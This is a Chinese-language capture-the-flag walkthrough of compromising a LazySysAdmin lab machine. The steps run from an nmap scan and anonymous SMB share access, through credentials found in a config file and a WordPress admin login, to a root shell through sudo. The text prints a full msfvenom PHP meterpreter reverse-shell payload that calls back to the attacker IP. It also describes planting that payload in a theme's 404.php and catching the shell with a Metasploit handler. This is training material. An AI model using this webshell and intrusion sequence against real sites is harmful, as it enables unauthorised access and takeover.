Background
SMB(Server Message Block)通信协议是微软(Microsoft)和英特尔(Intel)在1987年制定的协议,主要是作为Microsoft网络的通讯协议。 后来Linux移植了SMB,并称为samba。
SMB用于在计算机间共享文件、打印机、串口等,电脑上的网上邻居J就是由它实现。
SMB协议是基于TCP-NETBIOS下的,一般端口使用为139,445。
实验环境
- 攻击机:Kali - 192.168.0.105
- 靶场机器: linux - 192.168.0.106
目的: 获取靶机flag
信息探测
对于只是给定一个IP地址的靶场机器,我们需要用对其进行扫描,探测开放的服务。
渗透其实是针对服务的漏洞探测,然后进行对应的数据包发送,获取机器的最高权限。
- nmap -SV IP 挖掘开放服务信息
- nmap -A -v -T4 IP 挖掘靶场全部信息
靶机开口的服务【22(ssh)、80(http)、139,445(smb)、3306(mysql)等】
SMB协议弱点分析
针对SMB协议,使用空口令尝试登陆,并查看敏感文件,下载查看
1
2
3smbclient -L IP //列出某个IP地址所提供的共享文件夹
smbclinet '\\IP\$share'
get 敏感文件针对SMB协议远程溢出漏洞进行分析。
1
searchsploit samba版本号
查看靶机的共享文件
发现share文件可以访问
通过get 下载敏感文件
文件钟有一个密码12345
发现配置文件
配置文件中有mysql账户名密码(Admin、TogieMYSQL12345^^);
尝试登陆mysql
登陆失败,服务器端不接受远程登陆
尝试ssh登陆,登陆失败
注:WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。
http协议弱点分析
- 浏览器查看网址
- 使用dirb或nikto探测
- 寻找突破的目标,登陆后台,上传webshell
dirb扫描目录
发现wordpress后台管理页面
登陆之前的账号密码(Admin、TogieMYSQL12345^^)
成功登陆后台
我们可以上传一个webshell来达到控制机器的目的
制作webshell
因为后台是php编写的,所以我们上传一个php的shell
1 | root@kali:~/test# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.0.105 lport=4444 -f raw |
1 | /**/ error_reporting(0); $ip = '192.168.0.105'; $port = 4444; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die(); |
上传webshell
使用找到的明信息登陆系统后台,上传webshell,执行webshell(访问具有webshell的php页面)
获得反弹的shell
wordpress 上传点 theme 404.php
执行:http://靶场IP/wordpress/wp-content/themes/twentyfifteen/404.php
找到404页面(Appearance->Editor->404.php)
替换源代码
用msf打开监听端口
1 | msf5 > use exploit/multi/handler |
浏览器打开404网页 执行webshell
1 | http://192.168.0.106/wordpress/wp-content/themes/twentyfifteen/404.php |
接受到一个shell
优化shell
查看所有用户
发现一个用户togie
切换用户,尝试密码12345
sudo切换为root用户,查看flag
1 | togie@LazySysAdmin:/var/www/html/wordpress/wp-content/themes$ sudo -s |
总结
- 对于开放139和445端口的机器移动要注意是否可以直接使用smbclient登陆到共享目录查找敏感文件;
- 一般情况下flag值都在/root目录下,并且都在/root目录下,并且需要提升root权限才能查看;